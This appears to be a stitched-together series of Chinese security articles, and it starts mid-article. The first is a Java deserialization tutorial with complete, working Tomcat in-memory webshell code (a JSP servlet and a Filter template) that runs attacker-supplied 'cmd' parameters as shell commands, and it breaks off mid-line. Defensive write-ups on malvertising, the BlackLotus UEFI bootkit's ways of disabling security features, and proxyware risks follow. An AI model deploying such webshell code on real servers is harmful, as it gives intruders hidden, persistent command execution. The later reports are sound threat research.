其中關鍵的代碼如圖2.4所示,完整的代碼見github項目地址。其中最關鍵的步驟是通過遞歸的方式來查找Thread.CurrentThread()的所有字段,依次判斷字段類型是否為javax.servlet.http.HttpServletRequest和javax.servlet.http.HttpServletResponse。 圖2.4 通過遞歸方式來查找request和response對象 使用這種方式的好處是通用性高,而不需要再去記不同服務器下對象的具體位置。把這種方式保存為一條新的利用鏈CommonsBeanutils1Echo,然後就可以在兼容SpringMVC和SpringBoot的環境中使用相同的反序列化包,如圖2.5,圖2.6所示。 圖2.5 生成payload 圖2.6 使用生成的payload進行反序列化測試 0x03 內存馬內存馬一直都是java反序列化利用的終極目標,內存馬的實現方式有很多種,其中最常見的是基於Filter的內存馬,本文目標也是通過反序列化漏洞實現通用的冰蠍內存馬。 基於Filter型的內存馬實現步驟比較固定,如果是在jsp的環境下,可以使用下面的方式來生成內存馬。 %@ page import='java.io.IOException' %%@ page import='java.io.InputStream' %%@ page import='java.util.Scanner' %%@ page import='org.apache.catalina.core.StandardContext' %%@ page import='java.io.PrintWriter' % % //創建惡意Servlet Servlet servlet=new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }; %% //獲取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase=(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx=(StandardContext)webappClassLoaderBase.getResources().getContext(); //用Wrapper對其進行封裝org.apache.catalina.Wrapper newWrapper=standardCtx.createWrapper(); newWrapper.setName('pv587'); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); //添加封裝後的惡意Wrapper到StandardContext的children當中standardCtx.addChild(newWrapper); //添加ServletMapping將訪問的URL和Servlet進行綁定standardCtx.addServletMapping('/pv587','pv587');% 訪問上面的jsp文件,然後就可以刪除文件,訪問內存馬了,如圖3.1所示。 圖3.1 通過jsp文件來實現內存馬 上面的代碼是最初級的內存馬實現,通過jsp文件來實現的命令執行的內存馬。由於本文的重點不是講內存馬的原理,所以代碼原理簡單在註釋中說明,如果需要詳細的原因可以參考其他專門講內存馬的文章。在反序列化環境下實現冰蠍的內存馬要比這個複雜很多,但是其中一些本質上的步驟是不變的。 內存馬實現種最關鍵的是要獲取StandardContext對象,然後基於這個對象來綁定Wrapper。不同的環境下獲取StandardContext對象的方式不一樣,與上面步驟回顯的方式一致,也可以通過遞歸搜索的方式從Thread.CurrentThread()中查找,把上面內存馬的實現放在遞歸搜索的模版中實現如下所示。 package ysoserial.template; import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.deploy.FilterDef;import org.apache.catalina.deploy.FilterMap; import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Constructor;import java.util.HashSet;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.util.*; public class DFSMemShell { private HashSet set=new HashSet(); private Object standard_context_obj; private Class standard_context_clazz=Class.forName('org.apache.catalina.core.StandardContext'); public DFSMemShell() throws Exception { StandardContext standardCtx=(StandardContext) standard_context_obj; FilterDef filterDef=new FilterDef(); filterDef.setFilterName('TestFilter'); filterDef.setFilter(new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public void destroy() { } }); standardCtx.addFilterDef(filterDef); Constructor constructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDef.getClass()); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardCtx, filterDef); Field field=standardCtx.getClass().getDeclaredField('filterConfigs'); field.setAccessible(true); Map applicationFilterConfigs=(Map) field.get(standardCtx); applicationFilterConfigs.put('TestFilter', applicationFilterConfig); FilterMap filterMap=new FilterMap(); filterMap.setFilterName('TestFilter'); filterMap.addURLPattern('/btltest'); //動態應用FilterMap standardCtx.addFilterMap(filterMap); } public Object getStandardContext(){ return standard_context_obj; } public void search(Object obj) throws IllegalAccessException { if (obj==null){ return; } if (standard_context_obj !=null){ return; } if (obj.getClass().equals(Object.class) ) { return; } if (standard_context_clazz.isAssignableFrom(obj.getClass())){ System.out.println('Found standardContext'); standard_context_obj=obj; return; } if (obj.getClass().isArray()) { for (int i=0; i Array.getLength(obj); i++) { search(Array.get(obj, i)); } } else { Queue q=getAllFields(obj); while (!q.isEmpty()) { Field field=(Field) q.poll(); field.setAccessible(true); Object fieldValue=field.get(obj); if(standard_context_clazz.isA
  21. 許多入侵和攻擊都是從終端被惡意軟件感染開始的。惡意軟件的傳播通常以誘騙某人打開一個可執行文件為手段,這些誘騙文件是良性的,例如一個常見的軟件實用程序,但實際上是惡意的。傳播惡意軟件最常見的方法之一是通過垃圾郵件,但還有其他方法,比如,一種長期使用的將惡意軟件植入系統的技術在去年年末重新出現。 “Malvertising”是惡意軟件和廣告的合成詞,其技術包括購買搜索引擎廣告,並在這些廣告中放置指向惡意網站的鏈接。自從與搜索相關的點擊付費(PPC)廣告出現以來,這種技術就一直被攻擊者使用,但最近不知出於什麼原因,這種技術被使用的頻率和數量出乎意料。接下來,我們將介紹惡意廣告是如何運作的,針對它的一些防禦措施,以及最近如何利用它來分發惡意軟件的例子。 PPC的工作原理谷歌的PPC廣告平台是攻擊者用來傳播惡意軟件的主要媒介。 Intel 471 曾詳細介紹過建立Google Ads活動的內容。這些文章介紹了很多關於這些攻擊者如何開展活動的信息,以及他們如何為自己的廣告獲得頂級搜索結果的一些理論。 谷歌的PPC廣告管理面板具有一個相當直觀的設計,允許用戶一目了然地查看他們的廣告活動統計數據。用戶可以查看他們當前的廣告、關鍵字、推薦、統計數據和每次優惠的總成本。用戶必須提供一個URL來創建廣告,顯示URL的路徑,提供優惠的描述,並為廣告製作一些標題。描述、標題和網站都被被納入谷歌用來計算廣告排名的公式中。 一旦創建了廣告,用戶可以設置廣告在PPC上花費的最大金額。廣告位的銷售採用了一種盲拍賣機制,廣告客戶可以出價高於競爭對手,但無法看到其他人對廣告位的出價。谷歌以前的廣告排名算法考慮的是廣告商為廣告植入排名的出價,然而,新系統綜合考慮了廣告出價、描述、標題和網站檢查。 一旦用戶創建了廣告並設定了投標價格,他們就可以開始使用Google Ads平台上的多種工具。通過設備定位,廣告商可以為只在平板電腦或手機等特定類型的設備上播放的廣告定價。 客戶可以在Google Ads面板的“受眾”選項卡中使用額外的目標定位。用戶可以監控點擊廣告的人的人口統計數據,創建有針對性的廣告,或排除某些人口統計數據,並針對特定類型的人,如在金融服務或酒店業工作的人。該平台還允許廣告商根據地理位置和受眾跟踪,或包括城市、州和郵政編碼在內的各種因素來定位客戶。 2023年1月26日谷歌PPC廣告平台的廣告客戶目標選項的截圖 BokBotBokBot,也被稱為IcedID,是一種銀行木馬,也可以下載其他惡意軟件。 BokBot的開發人員與Conti勒索軟件組織和Trickbot(另一種用於傳播勒索軟件的銀行惡意軟件和殭屍網絡)一直有關聯。在過去的一年中,最初的訪問代理(IAB)越來越多地使用BokBot作為網關惡意軟件進行攻擊,以取代現已失效的BazarLoader或Trickbot家族。 2022年12月和2023年1月,BokBot運營商開始嘗試使用谷歌PPC廣告平台進行分發。 這些BokBot活動的流量分配系統(TDS)在谷歌搜索廣告引擎指向的登錄頁面上使用受害者和木馬過濾。此過濾確保連接客戶端不是來自虛擬專用網絡(VPN)IP地址,使用戶代理檢查並遵循超文本傳輸協議(HTTP)'GET'標頭條件。如果連接不符合條件,用戶不會被重定向到BokBot惡意登陸頁面,而是停留在廣告網站上,而廣告網站可能與目標應用程序或品牌無關。該網站通常與活動無關。符合目標標準的連接將被重定向到BokBot惡意登陸頁面,並且永遠不會看到廣告站點。 最近的BokBot活動偽裝成操作系統虛擬化平台Docker的廣告。惡意廣告包含拼寫錯誤的域名,並且似乎高於Docker的合法報價。一旦用戶點擊廣告鏈接,BokBot的第一個URL劫持域就會執行一些基本的木馬過濾,以確定廣告的觀看者是否是目標的合法受害者,而不是研究人員。如果基於用戶代理、用戶代理客戶端提示或地理位置的檢查失敗,Docker活動的登錄頁面將引導查看者進入一個關於如何設置和使用Docker的虛假教程。 2023年1月26日,出現在合法Docker搜索結果和廣告之前的惡意Docker廣告截圖 BatLoader和EugenLoader/FakeBat惡意軟件加載器,也稱為“下載器(滴管)”,是系統上的初始感染,然後被攻擊者用來下載其他惡意代碼。 BatLoader於2022年2月被發現,是一種利用微軟軟件安裝程序(.msi)和PowerShell的加載器。 Intel 471最近發現,兩個不同的攻擊者正在通過不同的命令和控制(C2)基礎設施分發BatLoader。 Mandiant在2022年確定為BatLoader的活動涉及.MSI在安裝期間執行.BAT文件。然而,第二個活動不涉及.BAT文件的執行。相反,該惡意軟件有一個內嵌的PowerShell腳本,它會代替.BAT文件執行。由於這些差異,Intel 471分析師決定將第二次活動更名為EugenLoader,它也被稱為FakeBat。 由於之前的報告混合了EugenLoader和BatLoader,因此很難確定EugenLoaders何時首次出現。但它可能會在2022年11月或12月運行。在對EugenLoader的調查中,我們發現一個域名似乎被用作新活動的下載目的地。域的根目錄被錯誤地打開並顯示了EugenLoader活動的.MSI文件。如下圖所示,EugenLoader惡意軟件已被重命名為模擬已知軟件,如FileZilla、uTorrent和WinRAR等。 可疑EugenLoader活動的域的根目錄處於打開狀態 在分發活動中,EugenLoader建立了一些域名,聲稱提供合法的流行軟件,但其實這是惡意軟件。 EugenLoader最活躍的惡意廣告活動之一是偽裝成WinRAR,這是一種用於壓縮和提取文件的流行軟件實用程序。雖然其他廣告活動似乎間歇性地將其廣告放在搜索結果的頂部,但WinRAR廣告活動沒有這樣的限制,這使得攻擊者能夠欺騙受害者不斷安裝EugenLoader。 EugenLoader還通過欺騙7-Zip(另一種流行的文件歸檔軟件)的惡意廣告活動進行分發。使用精心製作的谷歌搜索廣告,該活動能夠將其下載鏈接放置在7-Zip官方下載頁面之前,如下圖所示。 有兩個PPC廣告提供7-Zip,但域名與官方項目無關 直到最近,惡意廣告還不是攻擊者首選的攻擊手段,與電子郵件垃圾郵件等傳統手段相比,它很少被使用。然而,EugenLoader背後的運營商能夠購買始終出現在谷歌第一搜索結果位置的廣告。惡意廣告技術有可能挑戰惡意軟件垃圾郵件(malspam)作為攻擊者首選載體的位置。 惡意軟件開發者投放惡意廣告有利有弊。首先,攻擊者可以通過廣告吸引尋找下載工具的用戶,出現在第一個搜索結果中意味著很有可能有人在沒有仔細查看域名的情況下點擊。隨後的登錄頁面看起來與合法登錄頁面完全相同,人們很可能會下載並安裝該工具。 這與垃圾郵件相比具有優勢,垃圾郵件可能會被安全工具捕獲並隔離,或者被發送到垃圾郵件文件夾,永遠不會被潛在受害者註意到。如果目標確實下載了它,攻擊者必須誘騙其打開,例如打開發票、點擊鏈接或運行可執行文件。但惡意廣告抓住了那些想下載並立即運行的人。 然而,惡意廣告的成本並不便宜。每次點擊點擊付費廣告的成本可能高達2至3美元。由於攻擊者不斷競標廣告位,這些行動也提高了合法廣告商的成本。有可能是惡意商家用偷來的信用卡信息來支付廣告費用。另外,攻擊者是如何為這些廣告買單的,這將是另一個值得研究的課題,它可能會挖掘出這些活動背後的團體。 在某些情況下,活動的成功與否可以衡量。一些惡意廣告將受害者引導到Bitbucket上的網站,這可能會顯示下載數量。其中一項活動的下載量超過3000次。按每次點擊2美元計算,投放廣告的人可能已經支付了多達6000美元,這表明攻擊者有經濟實力。在這些活動中發現的其他類型的惡意軟件包括RedLine等信息竊取軟件。惡意軟件經常阻礙VirusTotal提交。文件大小高達700 MB,這與滴管或加載器的典型大小相比非常大。 VirusTotal的文件大小限制為32 MB(最多可提交200 MB的文件),這意味著由分發的惡意文件不一定會有分析示例。 總結惡意廣告激增,對谷歌影響最大,在2023年1月中旬達到頂峰,此後有所下降。安全社區已經就其調查結果與穀歌取得聯繫。幾位研究人員製作了一份電子表格,用於跟踪惡意廣告活動和被假冒的品牌。在2023年1月19日至2023年2月22日期間,該電子表格包含了584起惡意廣告活動的示例。此外,研究人員還開發了一些工具,比如Randy McEoin開發的這個工具,它可以搜索惡意廣告,Michael McDonnell開發的這個工具也可以對活動截圖留證。
  22. ESET 的安全研究人員近日發現了一種劫持UEFI 的惡意軟件,並將其命名為BlackLotus。該惡意軟件是首個可以在Win11系統上繞過Secure Boot 的UEFI bootkit 惡意軟件。這個bootkit利用UEFI安全啟動的Nday漏洞繞過安全啟動並在啟動過程中加載惡意的內核模塊。設備一旦感染該惡意軟件,就會在Win11 系統中禁用Defender、Bitlocker 和HVCI 等防病毒軟件。 BlackLotus UEFI bootkit近年來發現的UEFI漏洞數量以及在合理的時間窗口內修復或取消易受攻擊的二進製文件的失敗都沒有引起攻擊者的注意。因此,第一個公開的繞過基本平台安全功能的UEFIbootkit——UEFI Secure Boot——現在已經成為現實。在這篇文章中,研究人員首次公開分析了該UEFIbootkit,它能夠在啟用了UEFI Secure Boot的最新Windows 11系統上運行。 bootkit的功能及其單獨的功能使研究人員相信研究人員正在處理一個被稱為BlackLotus的bootkit,UEFIbootkit至少從2022年10月起就開始在黑客論壇上以5000美元的價格出售。 UEFIbootkit的破壞性很大,它完全控制系統啟動過程,因此能夠禁用各種系統安全機制,並在系統啟動的早期階段部署自己的內核模式或用戶模式有效負載。這使得他們可以非常隱秘地行動,並擁有很高的權限。到目前為止,只有少數幾個在野外被發現並被公開報導,例如,研究人員在2020年發現的多個惡意EFI樣本,或功能齊全的UEFIbootkit,如研究人員去年發現的ESPecterbootkit,或卡巴斯基研究人員發現的FinSpybootkit。 與固件植入(如LoJax)相比,UEFIbootkit可能在隱蔽性方面有所下降。研究人員的團隊於2018年發現了第一個野外UEFI固件植入,因為bootkit位於易於訪問的FAT32磁盤分區上。然而,作為啟動加載程序運行可以提供與固件植入幾乎相同的功能,但無需克服多級SPI閃存防禦,如BWE、BLE和PRx保護位,或硬件提供的保護(如Intel Boot Guard)。當然,UEFI Secure Boot阻礙了UEFIbootkit,但有一些不可忽視的已知漏洞可以繞過這一基本的安全機制。最糟糕的是,截止發文時,其中一些漏洞仍然很容易在最新系統上被利用,包括BlackLotus所利用的漏洞。 研究人員的調查始於對2022年末監測中的BlackLotus用戶模式組件(一個HTTP下載器)的一些點擊。經過初步評估,樣本中發現的代碼模式使研究人員發現了六個BlackLotus安裝程序(包括VirusTotal和研究人員自己的遙測)。這使研究人員能夠探索整個執行鏈,並意識到研究人員在這里處理的不僅僅是常規的惡意軟件。 以下是有關BlackLotus的要點,以及與之相關的一系列事件的時間表: 1.它能夠在啟用UEFI Secure Boot的最新、完全修復的Windows 11系統上運行; 2.它利用一個超過一年的漏洞(CVE-2022-21894)繞過UEFI Secure Boot並為bootkit設置持久性,這是該漏洞第一次被公開使用; 3.儘管微軟在2022年1月的更新中修復了該漏洞,但由於受影響的、有效簽名的二進製文件仍未添加到UEFI取消列表中,因此該漏洞仍有可能被利用。 BlackLotus就是利用了這一點,將其合法但易受攻擊的二進製文件副本帶到系統中,以利用該漏洞; 4.它能夠禁用操作系統安全機制,如BitLocker, HVCI和Windows Defender; 5.一旦安裝完畢,bootkit的主要目標是部署一個內核驅動程序(其中一個功能是保護bootkit不被刪除),以及一個負責與CC通信並能夠加載其他用戶模式或內核模式負載的HTTP下載器; 6.至少從2022年10月6日起,BlackLotus就在地下論壇上進行銷售; 7.有趣的是,如果受攻擊的主機位於以下地區,研究人員分析的一些BlackLotus安裝程序不會繼續進行bootkit安裝: Romanian(Moldova),ro-MDRussian(Moldova),ru-MDRussian(Russia),ru-RUUkrainian(Ukraine),uk-UABelarusian(Belarus),be-BYArmenian(Armenia),hy-AMKazakh(Kazakhstan),kk-KZ與BlackLotus相關的各事件的時間軸如下圖所示。 與BlackLotus UEFI bootkit相關的主要事件時間軸 如上所述,自2022年10月6日起,bootkit已在地下論壇上銷售。目前,研究人員還無法從監測數據中確定用於向受害者部署bootkit的確切傳播渠道。研究人員從公開來源和監測數據中獲得的BlackLotus樣本數量很少,這證明只有很少的攻擊者開始使用它。但是,在BlackLotus依賴的易受攻擊的啟動程序被取消之前,研究人員擔心,如果這個bootkit落入知名的犯罪組織手中,情況會迅速發生變化,這是基於bootkit的易於部署和犯罪組織利用其殭屍網絡傳播惡意軟件的能力。 幕後組織是BlackLotus嗎? BlackLotus屬於一款相當全能的固件級rootkit 惡意軟件。特點是能夠躲過各種刪除操作,以及繞過先進的Windows 防護措施。此前這類高級攻擊能力,僅被擁有深厚背景的機構所擁有,比如情報威脅組織。 1.BlackLotus在黑客論壇上的宣稱它具有集成的安全啟動繞過。將易受攻擊的驅動程序添加到UEFI取消列表目前是不可能的,因為該漏洞影響了數百個至今仍在使用的啟動加載程序。 安全研究人員分析:它利用CVE-2022-21894來破壞安全啟動,並在支持UEFI Secure Boot的系統上實現持久性。在撰寫本文時,它使用的易受攻擊的驅動程序仍然沒有在最新的dbx中被取消。 2.BlackLotus在黑客論壇上宣稱,bootkit具有內置的Ring0/Kernel保護,可以防止被刪除。 安全研究人員分析:它的內核驅動程序保護屬於EFI系統分區(ESP)上的文件句柄,可以不被關閉。作為額外的保護層,這些句柄會被持續監控,如果這些句柄中的任何一個被關閉,就會觸發藍屏死機(BSOD)。 3.BlackLotus在黑客論壇上宣稱,它具有反虛擬機(anti-VM)、反調試和代碼混淆功能,可以阻止被分析。 安全研究人員分析:它包含各種反虛擬機(anti-VM)、反調試和混淆技術,使其更難被複製或分析。 4.BlackLotus在黑客論壇上宣稱其目的是充當HTTP下載器。 安全研究人員分析:它的最後一個組件充當HTTP下載器,如HTTP下載器部分所述。 5.BlackLotus在黑客論壇上宣稱,HTTP下載器在一個合法的進程中以SYSTEM帳戶運行。 安全研究人員分析:它的HTTP下載器在winlogon.exe進程上下文中運行。 6.BlackLotus在黑客論壇上的宣稱,它是一個磁盤大小只有80kB的小型bootkit。 安全研究人員分析:能夠獲得的樣本確實在80 kB左右。 7.BlackLotus在黑客論壇宣稱,它可以禁用Windows內置的安全保護,如HVCI, Bitlocker, Windows Defender,並繞過用戶帳戶控制(UAC)。 安全研究人員分析:它可以禁用HVCI, Windows Defender, BitLocker並繞過UAC。 基於這些分析,研究人員可以肯定他們在野外發現的bootkit是BlackLotus UEFIbootkit。 攻擊概述BlackLotus攻擊鏈的簡單步驟如下圖所示。它由三個主要部分組成: 它首先執行安裝程序(下圖中的步驟1),該安裝程序負責將bootkit的文件部署到EFI系統分區,禁用HVCI和BitLocker,然後重新啟動計算機。 第一次重新啟動後,利用CVE-2022-21894並隨後記錄攻擊目標設備所有者的密鑰(MOK),以便在啟用UEFI Secure Boot的系統上實現持久性。然後重新啟動設備(下圖的步驟2-4)。 在所有後續啟動中,執行自簽名的UEFIbootkit,並部署其內核驅動程序和用戶模式有效負載(HTTP下載器)。這些組件能夠一起從CC服務器下載並執行額外的用戶模式和驅動程序組件,並保護bootkit不被刪除(下圖中的步驟5-9)。 BlackLotus的簡單步驟 工件分析儘管研究人員認為這是BlackLotus UEFIbootkit,但在分析的示例中沒有發現任何引用此名稱的內容。相反,該代碼充滿了對《暮蝉悲鸣时》 (HigurashiWhenTheyCry)動漫的引用,例如,在單個組件名稱中,例如Higurashi_installer_uac_module.dll和Higurashi _kernel.sys,以及用於簽名bootkit二進製文件的自簽名證書中(如下圖所示)。 BlackLotusbootkit使用的自簽名證書 此外,代碼解密但從不使用包含來自BlackLotus開發者的消息的各種字符串(如下圖所示),注意,hasherezade是一位著名的研究人員和各種惡意軟件分析工具的開發者,或者只是一些來自各種歌曲、遊戲或系列的隨機引用。 BlackLotus開發者在代碼中留下的消息示例 安裝過程研究人員首先分析了BlackLotus安裝程序,bootkit似乎以安裝程序的形式傳播,有兩個版本——離線和在線。這兩者之間的區別在於它們獲取合法(但易受攻擊)的Windows二進製文件的方式,這些二進製文件後來被用於繞過安全啟動。 在脫機版本中,Windows二進製文件嵌入在安裝程序中; 在在線版本中,Windows二進製文件直接從Microsoft符號存儲中下載。到目前為止,我們已經看到以下Windows二進製文件被BlackLotus bootkit濫用: https://msdl.microsoft.com/download/symbols/bootmgfw.efi/7144BCD31C0000/bootmgfw.efi;https://msdl.microsoft.com/download/symbols/bootmgr.efi/98B063A61BC000/bootmgr.e fi;https://msdl.microsoft.com/download/symbols/hvloader.efi/559F396411D000/hvloader.efi;安裝程序的目標很明確,它負責禁用Windows安全功能,如BitLocker磁盤加密和HVCI,並將多個文件(包括惡意bootkit)部署到ESP。完成後,它會重新啟動受攻擊的設備,讓被釋放的文件完成其工作,以確保每次系統啟動時都會自動執行自簽名的UEFIbootkit,無論UEFI Secure Boot保護狀態如何。 初始化步驟執行安裝程序時,它會檢查它是否有足夠的權限(至少需要管理員)將其余文件部署到ESP,並執行其他需要提升進程的操作,如關閉HVCI或禁用BitLocker。如果不是這樣的話,它會嘗試通過使用此處詳細描述的UAC繞過方法再次執行安裝程序來提升,通過程序兼容性助手進行UAC繞過。 獲得必要的權限後,它將繼續,通過使用可用的Windows API函數讀取SecureBoot UEFI變量的值來檢查UEFI Secure Boot狀態,並通過直接訪問內存中的KUSER_SHARED_DATA結構字段NtMajorVersion和NtMinorVersion來確定Windows版本。它這樣做是為了決定是否需要繞過UEFI Secure Boot來在受害者的系統上部署bootkit(因為安全啟動支持最初是在Windows 8中添加的,並且可能不會在任何給定的設備上啟用)。 在繼續下一步之前,它將位於ESP:\EFI\Microsoft\Boot\目錄中的合法Windows啟動管理器(bootmgfw.efi)二進製文件重命名為winload.efi。此重命名的bootmgfw.exfi備份稍後將被bootkit用於啟動操作系統,或者在從CC服務器收到“卸載”命令時恢復原始啟動鏈,詳見CC通信部分。 步驟1——部署文件如果啟用了UEFI Secure Boot,安裝程序會將多個文件放入ESP:/EFI/Microsoft/Boot/和ESP:/system32/目錄中。前者是Windows使用的標準目錄,後者是安裝程序創建的自定義文件夾。 表1提供了安裝程序釋放的文件列表,並簡要說明了每個文件在執行鏈中的角色。稍後研究人員將詳細解釋執行鍊是如何工作的,現在只需注意,幾個合法的Microsoft簽名文件與惡意文件一起被釋放。 表1:BlackLotus安裝程序在啟用UEFI Secure Boot的系統上部署的文件 如果受害者正在運行不支持UEFI Secure Boot的Windows版本,或者在UEFI Secure Boot被禁用的情況下,部署非常簡單。部署惡意bootkit唯一需要做的事情是將ESP:\EFI\Microsoft\Boot\目錄中現有的Windows啟動管理器(bootmgfw.efi)二進製文件替換為攻擊者自己的自簽名惡意UEFI應用程序。由於UEFI Secure Boot是禁用的(因此在啟動期間不執行完整性驗證),因此不需要利用,UEFI固件只是執行惡意啟動管理器而不會導致任何安全違規。 步驟2——禁用受虛擬機監控程序保護的代碼完整性(HVCI)為了以後能夠運行自定義的未簽名內核代碼,安裝程序必須確保在系統上禁用了HVCI。已經有一位ESET研究人員在2022年就這個主題寫了一篇內容文章(簽名內核驅動程序——Windows內核的無防護網關): 基於虛擬化的安全(VBS)提供了幾個保護功能,其中最突出的是hypervisor保護的代碼完整性(HVCI),這也是一個獨立的功能。 HVCI在內核中強制執行代碼完整性,並且只允許執行有簽名的代碼。它有效地防止了易受攻擊的驅動程序被濫用來執行未簽名的內核代碼或加載惡意驅動程序(無論使用何種攻擊方法),似乎惡意軟件濫用易受攻擊的驅動程序來加載惡意代碼是微軟實現這一功能的主要動機之一。 如下圖所示,要禁用此功能,安裝程序將HypervisorEnforcedCodeIntegrity註冊表項下的Enabled註冊表值設置為零。 負責禁用HVCI的BlackLotus安裝程序函數的Hex-Rays反編譯代碼 步驟3——禁用BitLocker安裝程序禁用的下一個功能是BitLocker驅動器加密。這樣做的原因是,BitLocker可以與受信任的平台模塊(TPM)結合使用,以確保自系統上配置BitLocker驅動器加密以來,各種啟動文件和配置(包括安全啟動)未被篡改。考慮到安裝程序修改了受攻擊設備上的Windows啟動鏈,在支持TPM的系統上保持BitLocker將導致下次啟動時出現BitLocker恢復屏幕,並提示受害者係統已被攻擊。 要禁用此保護,BlackLotus安裝程序進行以下操作: 遍歷Root\CIMV2\Security\MicrosoftVolumeEncryption WMI命名空間下的所有捲,並通過調用Win32_EncryptableVolume WMI類的GetProtectionStatus方法檢查其保護狀態; 對於受BitLocker保護的對象,它調用DisableKeyProtectors方法,DisableCount參數設置為零,這意味著保護將被掛起,直到手動啟用; 在禁用了必要的保護並部署了所有文件後,安裝程序將自己註冊為在下次系統重新啟動時刪除,並重新啟動計算機以繼續利用CVE-2022-21894。
  23. 為了竊取用戶網絡,攻擊者會誘導用戶安裝proxyware程序,該程序會將設備的可用互聯網帶寬分配為代理服務器,這樣攻擊者可以將其用於各種任務,如測試、情報收集、內容分發或市場研究。 作為共享網絡的回報,安裝proxyware程序的用戶可以從向客戶收取的費用中獲得抽成。例如,Peer2Profit服務顯示,用戶通過在數千台設備上安裝該公司的程序,每月最高可以賺到6000美元。 趨勢科技的研究人員最近分析了幾個著名的“被動收入”應用程序,發現這些程序可能存在安全風險。所謂被動收入(Passive Income),就是不需要花費多少時間和精力,也不需要照看,就可以自動獲得的收入。說白了就是不勞而獲,躺著賺錢! 網上有很多教人們如何通過共享閒置的計算能力或未使用的網絡帶寬來獲得“被動收入”。當用戶在他們的計算機上安裝這樣的程序時,不管願不願意,系統就會成為分佈式網絡的代理。這個分佈式網絡的運營商可以通過向其付費客戶銷售代理服務來賺錢。 儘管託管“被動收入”程序的網站會強調合法其自身的合法性,但我們發現此類程序可能會給下載者帶來安全風險。這是因為這些代理服務的一些付費客戶可能將其用於不道德甚至非法的目的。 在本文中,我們研究了幾個著名的“被動收入”應用程序,這些應用程序將會把它們的計算機變成住宅IP代理,這些代理被賣給客戶,用作“住宅IP代理”。這些應用程序通常通過推薦程序進行推廣,目前許多著名的YouTube和博客都在推廣他們。 我們還調查了將“被動收入”應用程序與第三方庫捆綁在一起的可疑開發商。這意味著並下載者不知道“被動收入”應用程序,而這些收入實際上都流向了開發者。這意味著,用戶無法控制使用其家庭/移動IP地址執行的活動。 通過共享未使用的帶寬就可以輕鬆在線賺錢?在博客和YouTube網站上有很多帖子教人們如何通過簡單的教程獲得“被動收入”。這些教程的開發者通常通過推薦來賺錢,並同時推廣幾個“被動收入”應用程序。 使用“網絡帶寬共享”盈利方案的公司包括HoneyGain、TraffMonitizer、Peer2Profit、PacketStream和IPRoyal Pawns等。這些公司為用戶提供了一種通過下載和運行他們的程序代理來被動地在線賺錢的方式。通常情況下,用戶將分享他們的連接並獲得積分,這些積分之後可以轉換成實際的貨幣。 公司通過共享網絡來宣傳被動收入 尋求收入的人將下載該程序來分享他們的帶寬並賺錢,但這些公司將帶寬賣給需要住宅代理服務的客戶。該公司網站列出了一些人們可能需要代理服務的原因:人口統計研究、繞開賭博和淘便宜貨的地理限制,或者出於隱私原因,等等。 這些公司很容易找到,在谷歌上簡單搜索“被動收入未使用帶寬”,立即產生IPRoyal Pawns, Honeygain, PacketStream, Peer2Profit, EarnApp和Traffmonetizer等名稱。一些人在論壇和討論區甚至建議同時安裝多個應用程序來賺更多的錢,或者運行多個虛擬機來增加潛在的利潤。 Quora上關於如何增加被動收入的帖子 與普通用戶相比,共享帶寬在被動收入中所佔的比例可能還不是最大的。根據一個博主分享的文章,推薦在博主收入中所佔的比例甚至更大(在這個圖表中超過50%)。 從被動收入、流量共享應用程序中獲得的收入佔比 儘管上圖中的數字顯而易見,但這位博主聲稱他每月大約賺20美元。但是用戶並不能保證能夠定期獲得如此低水平的收益。而且,作為這種不確定收入的交換,用戶被要求定期接受未知水平的風險。 劫持是怎麼發生的?這些“網絡帶寬共享”服務聲稱,用戶的互聯網連接將主要用於營銷研究或其他類似活動。因此,共享互聯網連接的人在網上賺錢的同時也成為了被營銷的對象。 使用帶寬共享聲明 但情況真如此嗎?為了檢查和了解潛在用戶加入此類程序可能面臨的風險,我們記錄並分析了來自幾個不同網絡帶寬共享服務的大量出口節點(出口節點是安裝了這些網絡帶寬共享服務的計算機)的網絡流量。 從2022年1月至9月,我們記錄了來自這些被動收入公司的出口節點的流量,並檢查了通過出口節點輸送的流量的性質。 首先,我們發現,來自其他應用程序合作夥伴的流量被輸送到我們的出口節點,並且大部分流量是合法的。我們看到了正常的流量,例如瀏覽新聞網站、收聽新聞流,甚至瀏覽在線購物網站。然而,我們也發現了一些可疑的聯繫。這些聯繫表明,一些用戶在某些國家從事可疑或可能非法的活動。 可疑活動的摘要如下表所示。我們根據相似性來組織這些活動,並指出我們觀察到這些活動的代理網絡。 